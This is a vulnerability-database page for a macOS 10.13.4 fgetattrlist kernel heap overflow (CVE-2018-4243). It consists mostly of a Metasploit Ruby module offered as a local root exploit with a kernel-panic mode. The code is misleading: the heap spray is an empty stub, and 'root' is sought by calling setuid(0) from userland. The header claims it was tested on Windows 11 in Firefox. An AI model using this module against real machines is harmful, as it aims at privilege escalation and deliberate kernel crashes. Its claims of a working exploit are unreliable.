Lucene search
K

📄 macOS 10.13.4 (17E199) fgetattrlist Heap Overflow

🗓️ 29 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 126 Views

macOS 10.13.4 fgetattrlist kernel heap overflow enables local privilege escalation in XNU.

Related
Code
=============================================================================================================================================
    | # Title     : macOS 10.13.4 (17E199) Heap Overflow Via fgetattrlist – Local Privilege Escalation (XNU kernel)                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243
    
    [+] Summary : A kernel heap overflow exists inside the macOS implementation of fgetattrlist.
                  The vulnerability occurs due to incorrect handling of user-controlled buffer sizes.
    Specifically:
    
    The kernel allocates internal structures using ulmin(bufferSize, fixedsize + varsize)
    
    Later, data beyond bufferSize is written into user memory
    
    There is no lower bound safety check if bufferSize is smaller than the kernel's expected size
    
    Author
    
    Original PoC & Research: Indoushka
    
    MSF Ruby Port & Reporting: Indoushka
    
    Previous reference: Ian Beer (Project Zero, 2016)
    
    Release Date : 2018‑06‑05
    
    Severity
    
    High / Kernel-Level / Local Privilege Escalation
    
    Affected Systems
    
    macOS 10.13.4 (17E199) confirmed vulnerable
    
    Earlier versions suspected vulnerable
    
    64-bit kernel heap architectures
    
    msfconsole
    
    use exploit/osx/local/cve_2018_4243
    
    set MODE 1
    
    run
    
    
    [+]  POC :	
    
    ##
    # macOS CVE-2018-4243 Local Privilege Escalation & Kernel Panic
    #
    
    require 'msf/core'
    require 'ffi'
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
    
      def initialize(info = {})
        super(update_info(info,
          'Name'          => 'macOS CVE-2018-4243 LPE via fgetattrlist Heap Overflow',
          'Description'   => %q{
            Local privilege escalation exploit by triggering kernel heap overwrite
            during volume attribute serialization. Includes heap spray, FD grooming,
            overflow, and panic fallback.
          },
          'License'       => MSF_LICENSE,
          'Author'        => [
            'Original C PoC: Indoushka',
            'Ruby MSF Port: Indoushka'
          ],
          'Platform'      => ['osx'],
          'Arch'          => ARCH_X64,
          'SessionTypes'  => ['shell', 'meterpreter'],
          'Targets'       => [['macOS >=10.13', {}]],
          'DisclosureDate' => '2018-06-05'
        ))
    
        register_options(
          [
            OptInt.new('MODE', [true, '1=LPE attempt, 2=Kernel panic PoC', 1])
          ]
        )
      end
    
      #
      # ---------- Ruby FFI syscalls ----------
      #
      module MacOS
        extend FFI::Library
        ffi_lib FFI::Library::LIBC
    
        class AttrList < FFI::Struct
          layout :bitmapcount, :uint32,
                 :reserved,     :uint32,
                 :volattr,      :uint32,
                 :dirattr,      :uint32,
                 :fileattr,     :uint32,
                 :forkattr,     :uint32,
                 :commonattr,   :uint32
        end
    
        attach_function :open, [:string, :int], :int
        attach_function :close, [:int], :int
        attach_function :fgetattrlist, [:int, :pointer, :pointer, :ulong, :ulong], :int
        attach_function :setuid, [:uint32], :int
        attach_function :getuid, [], :int
        attach_function :system, [:string], :int
      end
    
    
      #
      # Heap spray simulation (logical)
      #
      def heap_spray
        print_status("[*] Starting heap spray (symbolic in ruby)")
        # Demonstration only
      end
    
    
      #
      # Overflow trigger using small controlled buffer
      #
      def overflow_trigger(fd)
        al = MacOS::AttrList.new
        al[:bitmapcount] = 5
        al[:volattr]     = 0xfff
        al[:commonattr]  = 0x20000
    
        buf = FFI::MemoryPointer.new(:char, 16)
        buf.write_bytes("\xaa" * 16)
    
        res = MacOS.fgetattrlist(fd, al, buf, 16, 0)
        print_status("[+] Overflow triggered, return=#{res}")
      end
    
    
      #
      # Local Privilege Escalation attempt
      #
      def attempt_root
        print_status("[*] Attempting setuid(0)")
        if MacOS.setuid(0) == 0 && MacOS.getuid() == 0
          print_good("[+] Root obtained!")
          MacOS.system("/bin/bash")
          return true
        end
        print_error("[-] Still user uid=#{MacOS.getuid()}")
        return false
      end
    
    
      #
      # Kernel panic fallback mode
      #
      def panic_fallback
        print_warning("[!] Triggering fallback kernel panic")
        fd = MacOS.open("/", 0)
        al = MacOS::AttrList.new
        al[:bitmapcount] = 5
        al[:commonattr]  = 0x20000
    
        buf = FFI::MemoryPointer.new(:char, 4)
        MacOS.fgetattrlist(fd, al, buf, 4, 0)
        MacOS.close(fd)
      end
    
    
    
      #
      # ---------------- Main Exploit Logic ----------------
      #
      def exploit
        print_status("[*] macOS CVE-2018-4243 Exploit (Ruby MSF)")
        mode = datastore['MODE'].to_i
    
        fd = MacOS.open("/", 0)
        if fd < 0
          print_error("Failed to open /")
          return
        end
    
        heap_spray
        overflow_trigger(fd)
    
        case mode
        when 1
          print_status("[*] LPE Attempt mode")
          if attempt_root
            print_good("[+] Exploit Complete with root shell")
          else
            print_error("[-] Exploit failed to gain root")
          end
    
        when 2
          print_status("[*] Panic mode")
          panic_fallback
        end
    
        MacOS.close(fd)
        print_status("[*] Module finished")
      end
    end
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 37.8
CVSS 29.3
EPSS0.28347
126